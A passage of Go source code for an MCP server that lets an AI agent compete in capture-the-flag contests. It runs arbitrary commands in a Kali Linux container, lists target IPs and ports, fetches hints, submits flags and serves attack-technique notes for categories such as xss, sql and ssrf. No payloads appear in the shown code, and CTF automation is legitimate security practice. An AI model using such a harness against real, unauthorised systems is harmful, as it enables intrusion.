return s.engine 95 | }, nil) 96 | slog.Info("MCP SSE server started", "addr", s.options.ListenAddr) 97 | slog.Error("Failed to start MCP server", "error", http.ListenAndServe(s.options.ListenAddr, handler)) 98 | case Streamable: 99 | handler := mcp.NewStreamableHTTPHandler(func(*http.Request) *mcp.Server { 100 | return s.engine 101 | }, nil) 102 | slog.Info("MCP Streamable server started", "addr", s.options.ListenAddr) 103 | slog.Error("Failed to start MCP server", "error", http.ListenAndServe(s.options.ListenAddr, handler)) 104 | } 105 | }() 106 | //优雅停机 107 | ctx, stop := signal.NotifyContext(s.options.Ctx, os.Interrupt, syscall.SIGTERM) 108 | defer stop() 109 | <-ctx.Done() 110 | // On shutdown, remove container 111 | container := s.options.DockerContainer 112 | if container == "" { 113 | container = "xbow-kail" 114 | } 115 | _ = exec.Command("docker", "rm", "-f", container).Run() 116 | } 117 | 118 | // ensureKailContainer ensures the Kali image exists (build if missing) and a background container is running. 119 | // The container runs in detached mode with --rm so it is auto-removed on exit. 120 | func (s *McpServer) ensureKailContainer() error { 121 | 122 | // 1) Ensure image exists 123 | if err := exec.Command("docker", "image", "inspect", s.options.DockerContainer).Run(); err != nil { 124 | // Build using Dockerfile 125 | if s.options.DockerfileDir == "" { 126 | return fmt.Errorf("image %s not found and DockerfileDir is empty", s.options.DockerImage) 127 | } 128 | cmd := exec.Command("docker", "buildx", "build", "--platform=linux/amd64", "-t", s.options.DockerImage, "-f", s.options.DockerfileDir, ".") 129 | cmd.Stdout = os.Stdout 130 | cmd.Stderr = os.Stderr 131 | if err := cmd.Run(); err != nil { 132 | return err 133 | } 134 | slog.Info("docker image built", "image", s.options.DockerImage) 135 | } 136 | // 2) Check container state 137 | inspect := exec.Command("docker", "inspect", "-f", "{{.State.Running}}", s.options.DockerContainer) 138 | var inspOut bytes.Buffer 139 | inspect.Stdout = &inspOut 140 | inspect.Stderr = &inspOut 141 | if err := inspect.Run(); err == nil { 142 | if bytes.Contains(inspOut.Bytes(), []byte("true")) { 143 | // Already running 144 | return nil 145 | } 146 | // Exists but not running -> remove 147 | _ = exec.Command("docker", "rm", "-f", s.options.DockerContainer).Run() 148 | } 149 | // 3) Run container detached with --rm 150 | run := exec.Command("docker", "run", "-d", "--rm", "--name", s.options.DockerContainer, s.options.DockerImage, "sh", "-lc", "tail -f /dev/null") 151 | var runOut bytes.Buffer 152 | run.Stdout = &runOut 153 | run.Stderr = &runOut 154 | if err := run.Run(); err != nil { 155 | slog.Warn("docker run failed", "output", runOut.String(), "error", err) 156 | return err 157 | } 158 | slog.Info("kail container started", "container", s.options.DockerContainer, "image", s.options.DockerImage) 159 | return nil 160 | } 161 | -------------------------------------------------------------------------------- /mcpserver/types.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "errors" 7 | "strings" 8 | ) 9 | 10 | type McpServerMode string 11 | 12 | type McpServerOptions struct { 13 | Mode McpMode 14 | ListenAddr string 15 | Secret string 16 | XbowUrl string 17 | XbowToken string 18 | DockerExecLogDir string 19 | DockerfileDir string 20 | DockerImage string 21 | DockerContainer string 22 | Ctx context.Context 23 | ChallengeHistoryDir string 24 | } 25 | 26 | type McpServerOption func(*McpServerOptions) 27 | 28 | func NewMcpServerOptions(options ...McpServerOption) *McpServerOptions { 29 | opts := &McpServerOptions{ 30 | Mode: Streamable, 31 | ListenAddr: "127.0.0.1:3000", 32 | Ctx: context.Background(), 33 | XbowUrl: "http://127.0.0.1:8000", 34 | XbowToken: "1234567890", 35 | DockerExecLogDir: "./.kail-history", 36 | DockerfileDir: "./Dockerfile", 37 | DockerImage: "xbow-kail:latest", 38 | DockerContainer: "xbow-kail", 39 | ChallengeHistoryDir: "./.challenge_history", 40 | } 41 | for _, opt := range options { 42 | opt(opts) 43 | } 44 | return opts 45 | } 46 | 47 | func WithMcpServerMode(mode McpMode) McpServerOption { 48 | return func(opts *McpServerOptions) { 49 | opts.Mode = mode 50 | } 51 | } 52 | func WithMcpServerListenAddr(addr string) McpServerOption { 53 | return func(opts *McpServerOptions) { 54 | opts.ListenAddr = addr 55 | } 56 | } 57 | func WithContext(ctx context.Context) McpServerOption { 58 | return func(opts *McpServerOptions) { 59 | opts.Ctx = ctx 60 | } 61 | } 62 | func WithXbowUrl(url string) McpServerOption { 63 | return func(opts *McpServerOptions) { 64 | opts.XbowUrl = url 65 | } 66 | } 67 | func WithXbowToken(token string) McpServerOption { 68 | return func(opts *McpServerOptions) { 69 | opts.XbowToken = token 70 | } 71 | } 72 | 73 | // WithDockerExecContainer sets a fixed container name for docker exec 74 | // WithDockerExecLogDir sets the directory to store command execution logs 75 | func WithDockerExecLogDir(dir string) McpServerOption { 76 | return func(opts *McpServerOptions) { 77 | opts.DockerExecLogDir = dir 78 | } 79 | } 80 | 81 | // WithDockerfileDir sets the directory containing Dockerfile for building the image 82 | func WithDockerfileDir(dir string) McpServerOption { 83 | return func(opts *McpServerOptions) { 84 | opts.DockerfileDir = dir 85 | } 86 | } 87 | 88 | // WithDockerImage sets the docker image name:tag to use for the Kali environment 89 | func WithDockerImage(image string) McpServerOption { 90 | return func(opts *McpServerOptions) { 91 | opts.DockerImage = image 92 | } 93 | } 94 | 95 | // WithDockerContainer sets the container name used to run the Kali environment 96 | func WithDockerContainer(name string) McpServerOption { 97 | return func(opts *McpServerOptions) { 98 | opts.DockerContainer = name 99 | } 100 | } 101 | 102 | // WithChallengeHistoryDir sets the directory to store challenge history and notes 103 | func WithChallengeHistoryDir(dir string) McpServerOption { 104 | return func(opts *McpServerOptions) { 105 | opts.ChallengeHistoryDir = dir 106 | } 107 | } 108 | 109 | type McpMode int 110 | 111 | const ( 112 | Stdio = iota 113 | SSE 114 | Streamable 115 | ) 116 | 117 | func (s *McpMode) Set(val string) error { 118 | switch strings.ToLower(val) { 119 | case "stdio": 120 | *s = Stdio 121 | case "sse": 122 | *s = SSE 123 | case "streamable": 124 | *s = Streamable 125 | default: 126 | return errors.New("invalid output format: " + val) 127 | } 128 | return nil 129 | } 130 | func (s *McpMode) Get() any { return s } 131 | func (s *McpMode) String() string { 132 | switch *s { 133 | case Stdio: 134 | return "stdio" 135 | case SSE: 136 | return "sse" 137 | case Streamable: 138 | return "streamable" 139 | default: 140 | return "unknown" 141 | } 142 | } 143 | func (p McpMode) MarshalJSON() ([]byte, error) { 144 | return json.Marshal(p.String()) 145 | } 146 | 147 | func (p McpMode) MarshalYAML() (interface{}, error) { 148 | return p.String(), nil 149 | } 150 | 151 | // DockerRunOutput is the result of the docker-run tool 152 | type DockerRunOutput struct { 153 | ExitCode int `json:"exit_code" jsonschema:"进程退出码"` 154 | Stdout string `json:"stdout" jsonschema:"标准输出"` 155 | Stderr string `json:"stderr" jsonschema:"标准错误"` 156 | DurationMs int64 `json:"duration_ms" jsonschema:"执行耗时(毫秒)"` 157 | TimedOut bool `json:"timed_out" jsonschema:"是否超时终止"` 158 | ID string `json:"id" jsonschema:"本次执行的唯一标识，可用 kail.get_history 查询历史记录"` 159 | Running bool `json:"running" jsonschema:"是否仍在后台运行（仅 background=true 时返回 true）"` 160 | } 161 | 162 | // DockerRunRecord is the persisted record format 163 | type DockerRunRecord struct { 164 | ID string `json:"id"` 165 | Container string `json:"container"` 166 | Command string `json:"command"` 167 | Status string `json:"status"` 168 | Background bool `json:"background"` 169 | ExitCode int `json:"exit_code"` 170 | Stdout string `json:"stdout"` 171 | Stderr string `json:"stderr"` 172 | DurationMs int64 `json:"duration_ms"` 173 | TimedOut bool `json:"timed_out"` 174 | StartedAt int64 `json:"started_at_unix_ms"` 175 | EndedAt int64 `json:"ended_at_unix_ms"` 176 | } 177 | 178 | // DockerHistoryGetInput for querying a historical record by id (scoped to session) 179 | type DockerHistoryGetInput struct { 180 | ID string `json:"id" jsonschema:"required; 通过执行返回的 id 查询历史记录"` 181 | } 182 | 183 | // DockerHistoryGetOutput returns the stored record 184 | type DockerHistoryGetOutput struct { 185 | Record DockerRunRecord `json:"record"` 186 | } 187 | 188 | // DockerRunInput defines inputs for executing a command inside a pre-started session container 189 | type DockerRunInput struct { 190 | Command string `json:"command" jsonschema:"required; 在会话容器中执行的命令，如 echo hi"` 191 | Background bool `json:"background" jsonschema:"可选; true 则后台执行，立即返回 id，可用 kail.get_history 查询"` 192 | } 193 | 194 | // ListChallengesInput defines optional overrides for base URL and token. 195 | type ListChallengesInput struct { 196 | } 197 | 198 | type TargetInfo struct { 199 | IP string `json:"ip" jsonschema:"目标服务器 IP 地址"` 200 | Port []int `json:"port" jsonschema:"目标服务器端口列表"` 201 | } 202 | 203 | type Challenge struct { 204 | ChallengeCode string `json:"challenge_code" jsonschema:"赛题唯一标识码"` 205 | Difficulty string `json:"difficulty" jsonschema:"难度等级（easy/medium/hard）"` 206 | Points int `json:"points" jsonschema:"该题目的基础分值"` 207 | HintViewed bool `json:"hint_viewed" jsonschema:"是否已查看过提示"` 208 | Solved bool `json:"solved" jsonschema:"是否已成功解答"` 209 | TargetInfo TargetInfo `json:"target_info" jsonschema:"目标服务器信息"` 210 | // Local fields (derived from .challenge_history), not provided by remote API 211 | AttemptCount int `json:"attempt_count" jsonschema:"本地记录的尝试次数（通过 do_challenge 累积）"` 212 | Doing bool `json:"doing" jsonschema:"是否当前正在尝试（本地标记）"` 213 | } 214 | 215 | type ListChallengesOutput struct { 216 | CurrentStage string `json:"current_stage" jsonschema:"当前所处的阶段（debug：调试阶段，competition：正式答题阶段）"` 217 | Challenges []Challenge `json:"challenges" jsonschema:"赛题列表"` 218 | } 219 | 220 | // GetHintInput request 221 | type GetHintInput struct { 222 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 223 | } 224 | 225 | // GetHintOutput response 226 | type GetHintOutput struct { 227 | HintContent string `json:"hint_content" jsonschema:"提示内容"` 228 | PenaltyPoints int `json:"penalty_points" jsonschema:"查看提示的惩罚积分"` 229 | FirstUse bool `json:"first_use" jsonschema:"是否为首次查看"` 230 | } 231 | 232 | // SubmitAnswerInput request 233 | type SubmitAnswerInput struct { 234 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 235 | Answer string `json:"answer" jsonschema:"required; 答案内容（flag 格式，如 flag{...}）"` 236 | } 237 | 238 | // SubmitAnswerOutput response 239 | type SubmitAnswerOutput struct { 240 | Correct bool `json:"correct" jsonschema:"答案是否正确"` 241 | EarnedPoints int `json:"earned_points" jsonschema:"本次获得的积分（已扣除惩罚积分）"` 242 | IsSolved bool `json:"is_solved" jsonschema:"该题目之前是否已被解答"` 243 | } 244 | 245 | // DoChallengeInput request: mark a challenge as being attempted and increment attempts 246 | type DoChallengeInput struct { 247 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 248 | } 249 | 250 | // DoChallengeOutput response 251 | type DoChallengeOutput struct { 252 | Ok bool `json:"ok"` 253 | } 254 | 255 | // WriteChallengeNoteInput request: append a note entry for a challenge 256 | type WriteChallengeNoteInput struct { 257 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 258 | Note string `json:"note" jsonschema:"required; 记录的笔记/尝试说明"` 259 | } 260 | 261 | // WriteChallengeNoteOutput response 262 | type WriteChallengeNoteOutput struct { 263 | Ok bool `json:"ok"` 264 | } 265 | 266 | // ChallengeNote is a single note item 267 | type ChallengeNote struct { 268 | TimestampMs int64 `json:"timestamp_ms"` 269 | SessionID string `json:"session_id"` 270 | Note string `json:"note"` 271 | } 272 | 273 | // ReadChallengeNoteInput request 274 | type ReadChallengeNoteInput struct { 275 | ChallengeCode string `json:"challenge_code" jsonschema:"required; 赛题唯一标识码"` 276 | } 277 | 278 | // ReadChallengeNoteOutput response 279 | type ReadChallengeNoteOutput struct { 280 | Notes []ChallengeNote `json:"notes"` 281 | } 282 | 283 | // GetCTFSkillInput defines inputs for getting CTF skill document 284 | type GetCTFSkillInput struct { 285 | Category string `json:"category" jsonschema:"required; CTF 技巧类别名称（如：idor、xss、sql、ssti、ssrf、xxe、lfi、codei、afr&pt）"` 286 | } 287 | 288 | // GetCTFSkillOutput defines output for CTF skill document 289 | type GetCTFSkillOutput struct { 290 | Category string `json:"category" jsonschema:"技能类别名称"` 291 | Content string `json:"content" jsonschema:"完整的技能文档内容"` 292 | Found bool `json:"found" jsonschema:"是否找到该类别的文档"` 293 | } 294 | -------------------------------------------------------------------------------- /mcpserver/help.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "net/http" 10 | "os" 11 | "path/filepath" 12 | "strings" 13 | "sync" 14 | "time" 15 | ) 16 | 17 | type challengeMeta struct { 18 | Attempts int `json:"attempts"` 19 | Doing bool `json:"doing"` 20 | UpdatedAt int64 `json:"updated_at_unix_ms"` 21 | } 22 | 23 | func (s *McpServer) challengeDir(code string) string { 24 | base := strings.TrimSpace(s.options.ChallengeHistoryDir) 25 | if base == "" { 26 | base = "./.challenge_history" 27 | } 28 | return filepath.Join(base, code) 29 | } 30 | 31 | func (s *McpServer) loadChallengeMeta(code string) challengeMeta { 32 | dir := s.challengeDir(code) 33 | data, err := os.ReadFile(filepath.Join(dir, "meta.json")) 34 | if err != nil { 35 | return challengeMeta{} 36 | } 37 | var m challengeMeta 38 | if json.Unmarshal(data, &m) != nil { 39 | return challengeMeta{} 40 | } 41 | return m 42 | } 43 | 44 | func (s *McpServer) saveChallengeMeta(code string, m challengeMeta) error { 45 | dir := s.challengeDir(code) 46 | if err := os.MkdirAll(dir, 0o755); err != nil { 47 | return err 48 | } 49 | data, err := json.MarshalIndent(m, "", " ") 50 | if err != nil { 51 | return err 52 | } 53 | return os.WriteFile(filepath.Join(dir, "meta.json"), data, 0o644) 54 | } 55 | 56 | func (s *McpServer) readChallengeMeta(code string) (bool, int) { 57 | m := s.loadChallengeMeta(code) 58 | return m.Doing, m.Attempts 59 | } 60 | 61 | func (s *McpServer) appendJSONL(path string, v any) error { 62 | f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o644) 63 | if err != nil { 64 | return err 65 | } 66 | defer f.Close() 67 | b, err := json.Marshal(v) 68 | if err != nil { 69 | return err 70 | } 71 | _, err = f.Write(append(b, '\n')) 72 | return err 73 | } 74 | 75 | func (s *McpServer) readNotesJSONL(path string) ([]ChallengeNote, error) { 76 | f, err := os.Open(path) 77 | if err != nil { 78 | return nil, err 79 | } 80 | defer f.Close() 81 | var notes []ChallengeNote 82 | sc := bufio.NewScanner(f) 83 | for sc.Scan() { 84 | line := strings.TrimSpace(sc.Text()) 85 | if line == "" { 86 | continue 87 | } 88 | var n ChallengeNote 89 | if err := json.Unmarshal([]byte(line), &n); err == nil { 90 | notes = append(notes, n) 91 | } 92 | } 93 | if err := sc.Err(); err != nil { 94 | return nil, err 95 | } 96 | return notes, nil 97 | } 98 | 99 | // doJSON composes URL = baseURL + path and performs an HTTP request with JSON body (if provided), then decodes JSON response. 100 | func (s *McpServer) doJSON(ctx context.Context, method string, path string, body any, out any) error { 101 | url := strings.TrimRight(s.options.XbowUrl, "/") + path 102 | 103 | var bodyReader io.Reader 104 | if body != nil { 105 | b, err := json.Marshal(body) 106 | if err != nil { 107 | return fmt.Errorf("encode request body: %w", err) 108 | } 109 | bodyReader = strings.NewReader(string(b)) 110 | } 111 | req, err := http.NewRequestWithContext(ctx, method, url, bodyReader) 112 | if err != nil { 113 | return fmt.Errorf("create request: %w", err) 114 | } 115 | req.Header.Set("Accept", "application/json") 116 | req.Header.Set("Authorization", "Bearer "+s.options.XbowToken) 117 | if method == http.MethodPost || method == http.MethodPut || method == http.MethodPatch { 118 | req.Header.Set("Content-Type", "application/json") 119 | } 120 | 121 | client := &http.Client{Timeout: 15 * time.Second} 122 | resp, err := client.Do(req) 123 | if err != nil { 124 | return fmt.Errorf("request failed: %w", err) 125 | } 126 | defer resp.Body.Close() 127 | 128 | data, err := io.ReadAll(resp.Body) 129 | if err != nil { 130 | return fmt.Errorf("read response: %w", err) 131 | } 132 | if resp.StatusCode != http.StatusOK { 133 | // Try to extract {"detail": "..."} 134 | var derr struct { 135 | Detail string `json:"detail"` 136 | } 137 | if err := json.Unmarshal(data, &derr); err == nil && derr.Detail != "" { 138 | return fmt.Errorf("%s: %s", resp.Status, derr.Detail) 139 | } 140 | return fmt.Errorf("%s: %s", resp.Status, strings.TrimSpace(string(data))) 141 | } 142 | if err := json.Unmarshal(data, out); err != nil { 143 | return fmt.Errorf("decode response: %w", err) 144 | } 145 | return nil 146 | } 147 | 148 | // ---- Mock API (for local testing of the platform) ---- 149 | 150 | type mockChallenge struct { 151 | Challenge 152 | HintContent string 153 | Solution string 154 | } 155 | 156 | type mockAPI struct { 157 | mu sync.Mutex 158 | token string 159 | currentStage string 160 | hintPenalty int 161 | challenges map[string]*mockChallenge 162 | } 163 | 164 | // StartMockPlatformFromDir loads all challenges from a directory of JSON files (one file per challenge) 165 | // and starts the mock HTTP server with those challenges. 166 | func StartMockPlatformFromDir(addr string, token string, dir string) (*http.Server, error) { 167 | store := &mockAPI{ 168 | token: strings.TrimSpace(token), 169 | currentStage: "debug", 170 | hintPenalty: 10, 171 | challenges: map[string]*mockChallenge{}, 172 | } 173 | type challengeFile struct { 174 | ChallengeCode string `json:"challenge_code"` 175 | Difficulty string `json:"difficulty"` 176 | Points int `json:"points"` 177 | TargetInfo TargetInfo `json:"target_info"` 178 | HintViewed bool `json:"hint_viewed"` 179 | Solved bool `json:"solved"` 180 | HintContent string `json:"hint_content"` 181 | Solution string `json:"solution"` 182 | } 183 | entries, err := os.ReadDir(dir) 184 | if err != nil { 185 | return nil, err 186 | } 187 | for _, ent := range entries { 188 | if ent.IsDir() { 189 | continue 190 | } 191 | if !strings.HasSuffix(strings.ToLower(ent.Name()), ".json") { 192 | continue 193 | } 194 | data, err := os.ReadFile(filepath.Join(dir, ent.Name())) 195 | if err != nil { 196 | return nil, err 197 | } 198 | var cf challengeFile 199 | if err := json.Unmarshal(data, &cf); err != nil { 200 | return nil, fmt.Errorf("parse %s: %w", ent.Name(), err) 201 | } 202 | if strings.TrimSpace(cf.ChallengeCode) == "" { 203 | return nil, fmt.Errorf("file %s missing challenge_code", ent.Name()) 204 | } 205 | store.challenges[cf.ChallengeCode] = &mockChallenge{ 206 | Challenge: Challenge{ 207 | ChallengeCode: cf.ChallengeCode, 208 | Difficulty: cf.Difficulty, 209 | Points: cf.Points, 210 | HintViewed: cf.HintViewed, 211 | Solved: cf.Solved, 212 | TargetInfo: cf.TargetInfo, 213 | }, 214 | HintContent: cf.HintContent, 215 | Solution: cf.Solution, 216 | } 217 | } 218 | mux := http.NewServeMux() 219 | mux.HandleFunc("/api/v1/challenges", store.handleListChallenges) 220 | mux.HandleFunc("/api/v1/hint/", store.handleGetHint) 221 | mux.HandleFunc("/api/v1/answer", store.handleSubmitAnswer) 222 | srv := &http.Server{ 223 | Addr: addr, 224 | Handler: mux, 225 | } 226 | go func() { _ = srv.ListenAndServe() }() 227 | return srv, nil 228 | } 229 | 230 | func (m *mockAPI) checkAuth(w http.ResponseWriter, r *http.Request) bool { 231 | if m.token == "" { 232 | return true 233 | } 234 | auth := r.Header.Get("Authorization") 235 | want := "Bearer " + m.token 236 | if auth != want { 237 | writeJSON(w, http.StatusUnauthorized, map[string]string{"detail": "unauthorized"}) 238 | return false 239 | } 240 | return true 241 | } 242 | 243 | func (m *mockAPI) handleListChallenges(w http.ResponseWriter, r *http.Request) { 244 | if r.Method != http.MethodGet { 245 | writeJSON(w, http.StatusMethodNotAllowed, map[string]string{"detail": "method not allowed"}) 246 | return 247 | } 248 | if !m.checkAuth(w, r) { 249 | return 250 | } 251 | m.mu.Lock() 252 | defer m.mu.Unlock() 253 | var list []Challenge 254 | for _, ch := range m.challenges { 255 | list = append(list, ch.Challenge) 256 | } 257 | out := ListChallengesOutput{ 258 | CurrentStage: m.currentStage, 259 | Challenges: list, 260 | } 261 | writeJSON(w, http.StatusOK, out) 262 | } 263 | 264 | func (m *mockAPI) handleGetHint(w http.ResponseWriter, r *http.Request) { 265 | if r.Method != http.MethodGet { 266 | writeJSON(w, http.StatusMethodNotAllowed, map[string]string{"detail": "method not allowed"}) 267 | return 268 | } 269 | if !m.checkAuth(w, r) { 270 | return 271 | } 272 | code := strings.TrimPrefix(r.URL.Path, "/api/v1/hint/") 273 | code = strings.TrimSpace(code) 274 | if code == "" { 275 | writeJSON(w, http.StatusBadRequest, map[string]string{"detail": "challenge_code required"}) 276 | return 277 | } 278 | m.mu.Lock() 279 | defer m.mu.Unlock() 280 | ch, ok := m.challenges[code] 281 | if !ok { 282 | writeJSON(w, http.StatusNotFound, map[string]string{"detail": "challenge not found"}) 283 | return 284 | } 285 | first := !ch.HintViewed 286 | ch.HintViewed = true 287 | // mirror into embedded Challenge 288 | ch.Challenge.HintViewed = true 289 | writeJSON(w, http.StatusOK, GetHintOutput{ 290 | HintContent: ch.HintContent, 291 | PenaltyPoints: m.hintPenalty, 292 | FirstUse: first, 293 | }) 294 | } 295 | 296 | func (m *mockAPI) handleSubmitAnswer(w http.ResponseWriter, r *http.Request) { 297 | if r.Method != http.MethodPost { 298 | writeJSON(w, http.StatusMethodNotAllowed, map[string]string{"detail": "method not allowed"}) 299 | return 300 | } 301 | if !m.checkAuth(w, r) { 302 | return 303 | } 304 | var in SubmitAnswerInput 305 | if err := json.NewDecoder(r.Body).Decode(&in); err != nil { 306 | writeJSON(w, http.StatusBadRequest, map[string]string{"detail": "invalid json"}) 307 | return 308 | } 309 | code := strings.TrimSpace(in.ChallengeCode) 310 | ans := strings.TrimSpace(in.Answer) 311 | if code == "" || ans == "" { 312 | writeJSON(w, http.StatusBadRequest, map[string]string{"detail": "challenge_code and answer required"}) 313 | return 314 | } 315 | m.mu.Lock() 316 | defer m.mu.Unlock() 317 | ch, ok := m.challenges[code] 318 | if !ok { 319 | writeJSON(w, http.StatusNotFound, map[string]string{"detail": "challenge not found"}) 320 | return 321 | } 322 | correct := ans == ch.Solution 323 | if !correct { 324 | writeJSON(w, http.StatusOK, SubmitAnswerOutput{ 325 | Correct: false, 326 | EarnedPoints: 0, 327 | IsSolved: ch.Solved, 328 | }) 329 | return 330 | } 331 | // correct 332 | if ch.Solved { 333 | writeJSON(w, http.StatusOK, SubmitAnswerOutput{ 334 | Correct: true, 335 | EarnedPoints: 0, 336 | IsSolved: true, 337 | }) 338 | return 339 | } 340 | earned := ch.Points 341 | if ch.HintViewed && m.hintPenalty > 0 { 342 | if earned > m.hintPenalty { 343 | earned -= m.hintPenalty 344 | } else { 345 | earned = 0 346 | } 347 | } 348 | ch.Solved = true 349 | ch.Challenge.Solved = true 350 | writeJSON(w, http.StatusOK, SubmitAnswerOutput{ 351 | Correct: true, 352 | EarnedPoints: earned, 353 | IsSolved: false, 354 | }) 355 | } 356 | 357 | func writeJSON(w http.ResponseWriter, status int, v any) { 358 | w.Header().Set("Content-Type", "application/json") 359 | w.WriteHeader(status) 360 | _ = json.NewEncoder(w).Encode(v) 361 | } 362 | -------------------------------------------------------------------------------- /mcpserver/tools.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "embed" 7 | "encoding/json" 8 | "errors" 9 | "fmt" 10 | "io/fs" 11 | "net/http" 12 | "os" 13 | "os/exec" 14 | "path/filepath" 15 | "strings" 16 | "time" 17 | 18 | "github.com/modelcontextprotocol/go-sdk/mcp" 19 | ) 20 | 21 | //go:embed ctf-skills/*.md 22 | var ctfSkillFS embed.FS 23 | 24 | // listChallenges implements GET /api/v1/challenges 25 | func (s *McpServer) listChallenges(ctx context.Context, _ *mcp.CallToolRequest, _ ListChallengesInput) (*mcp.CallToolResult, ListChallengesOutput, error) { 26 | var out ListChallengesOutput 27 | if err := s.doJSON(ctx, http.MethodGet, "/api/v1/challenges", nil, &out); err != nil { 28 | return nil, ListChallengesOutput{}, err 29 | } 30 | noSolvedChallenges := make([]Challenge, 0) 31 | for _, challenge := range out.Challenges { 32 | code := strings.TrimSpace(challenge.ChallengeCode) 33 | if code == "" { 34 | continue 35 | } 36 | if challenge.Solved { 37 | continue // 已经解决的题目跳过 38 | } 39 | doing, attempts := s.readChallengeMeta(code) 40 | challenge.AttemptCount = attempts 41 | challenge.Doing = doing && !challenge.Solved 42 | 43 | noSolvedChallenges = append(noSolvedChallenges, challenge) 44 | } 45 | out.Challenges = noSolvedChallenges 46 | return nil, out, nil 47 | } 48 | 49 | // getHint implements GET /api/v1/hint/{challenge_code} 50 | func (s *McpServer) getHint(ctx context.Context, _ *mcp.CallToolRequest, in GetHintInput) (*mcp.CallToolResult, GetHintOutput, error) { 51 | if strings.TrimSpace(in.ChallengeCode) == "" { 52 | return nil, GetHintOutput{}, errors.New("challenge_code is required") 53 | } 54 | var out GetHintOutput 55 | path := "/api/v1/hint/" + in.ChallengeCode 56 | if err := s.doJSON(ctx, http.MethodGet, path, nil, &out); err != nil { 57 | return nil, GetHintOutput{}, err 58 | } 59 | return nil, out, nil 60 | } 61 | 62 | // submitAnswer implements POST /api/v1/answer 63 | func (s *McpServer) submitAnswer(ctx context.Context, _ *mcp.CallToolRequest, in SubmitAnswerInput) (*mcp.CallToolResult, SubmitAnswerOutput, error) { 64 | if strings.TrimSpace(in.ChallengeCode) == "" || strings.TrimSpace(in.Answer) == "" { 65 | return nil, SubmitAnswerOutput{}, errors.New("challenge_code and answer are required") 66 | } 67 | body := map[string]any{ 68 | "challenge_code": in.ChallengeCode, 69 | "answer": in.Answer, 70 | } 71 | var out SubmitAnswerOutput 72 | if err := s.doJSON(ctx, http.MethodPost, "/api/v1/answer", body, &out); err != nil { 73 | return nil, SubmitAnswerOutput{}, err 74 | } 75 | return nil, out, nil 76 | } 77 | 78 | // doChallenge marks a challenge as being attempted, increments attempt count, and writes local metadata/history. 79 | func (s *McpServer) doChallenge(ctx context.Context, req *mcp.CallToolRequest, in DoChallengeInput) (*mcp.CallToolResult, DoChallengeOutput, error) { 80 | code := strings.TrimSpace(in.ChallengeCode) 81 | if code == "" { 82 | return nil, DoChallengeOutput{}, errors.New("challenge_code is required") 83 | } 84 | dir := s.challengeDir(code) 85 | if err := os.MkdirAll(dir, 0o755); err != nil { 86 | return nil, DoChallengeOutput{}, fmt.Errorf("ensure history dir: %w", err) 87 | } 88 | meta := s.loadChallengeMeta(code) 89 | meta.Attempts++ 90 | meta.Doing = true 91 | meta.UpdatedAt = time.Now().UnixMilli() 92 | 93 | // 每 9 轮清空一次笔记（在第 9, 18, 27... 次尝试时） 94 | if meta.Attempts%9 == 0 && meta.Attempts > 0 { 95 | notesPath := filepath.Join(dir, "notes.jsonl") 96 | // 删除旧的笔记文件，不写入提示 97 | _ = os.Remove(notesPath) 98 | } 99 | 100 | if err := s.saveChallengeMeta(code, meta); err != nil { 101 | return nil, DoChallengeOutput{}, err 102 | } 103 | // append attempt entry 104 | attemptEntry := struct { 105 | TimestampMs int64 `json:"timestamp_ms"` 106 | SessionID string `json:"session_id"` 107 | Action string `json:"action"` 108 | }{ 109 | TimestampMs: time.Now().UnixMilli(), 110 | SessionID: strings.TrimSpace(req.GetSession().ID()), 111 | Action: "start", 112 | } 113 | if err := s.appendJSONL(filepath.Join(dir, "attempts.jsonl"), attemptEntry); err != nil { 114 | // non-fatal 115 | } 116 | return nil, DoChallengeOutput{Ok: true}, nil 117 | } 118 | 119 | // writeChallengeNote appends a note to the challenge notes file. 120 | func (s *McpServer) writeChallengeNote(ctx context.Context, req *mcp.CallToolRequest, in WriteChallengeNoteInput) (*mcp.CallToolResult, WriteChallengeNoteOutput, error) { 121 | code := strings.TrimSpace(in.ChallengeCode) 122 | note := strings.TrimSpace(in.Note) 123 | if code == "" || note == "" { 124 | return nil, WriteChallengeNoteOutput{}, errors.New("challenge_code and note are required") 125 | } 126 | dir := s.challengeDir(code) 127 | if err := os.MkdirAll(dir, 0o755); err != nil { 128 | return nil, WriteChallengeNoteOutput{}, fmt.Errorf("ensure history dir: %w", err) 129 | } 130 | 131 | notesPath := filepath.Join(dir, "notes.jsonl") 132 | entry := ChallengeNote{ 133 | TimestampMs: time.Now().UnixMilli(), 134 | SessionID: strings.TrimSpace(req.GetSession().ID()), 135 | Note: note, 136 | } 137 | if err := s.appendJSONL(notesPath, entry); err != nil { 138 | return nil, WriteChallengeNoteOutput{}, fmt.Errorf("append note: %w", err) 139 | } 140 | // update meta timestamp (optional) 141 | meta := s.loadChallengeMeta(code) 142 | meta.UpdatedAt = time.Now().UnixMilli() 143 | _ = s.saveChallengeMeta(code, meta) 144 | return nil, WriteChallengeNoteOutput{Ok: true}, nil 145 | } 146 | 147 | // readChallengeNote returns all note entries for a challenge (if any). 148 | func (s *McpServer) readChallengeNote(_ context.Context, req *mcp.CallToolRequest, in ReadChallengeNoteInput) (*mcp.CallToolResult, ReadChallengeNoteOutput, error) { 149 | code := strings.TrimSpace(in.ChallengeCode) 150 | if code == "" { 151 | return nil, ReadChallengeNoteOutput{}, errors.New("challenge_code is required") 152 | } 153 | dir := s.challengeDir(code) 154 | path := filepath.Join(dir, "notes.jsonl") 155 | 156 | // 每 9 轮清空一次笔记（在第 9, 18, 27... 次尝试时） 157 | meta := s.loadChallengeMeta(code) 158 | if meta.Attempts%9 == 0 && meta.Attempts > 0 { 159 | // 先尝试读取笔记，如果文件存在且有内容，说明已经清空并写入了新笔记 160 | notes, err := s.readNotesJSONL(path) 161 | if err == nil && len(notes) > 0 { 162 | // 文件存在且有新笔记，正常返回 163 | return nil, ReadChallengeNoteOutput{Notes: notes}, nil 164 | } 165 | // 文件不存在或为空，删除文件并返回提示 166 | _ = os.Remove(path) 167 | 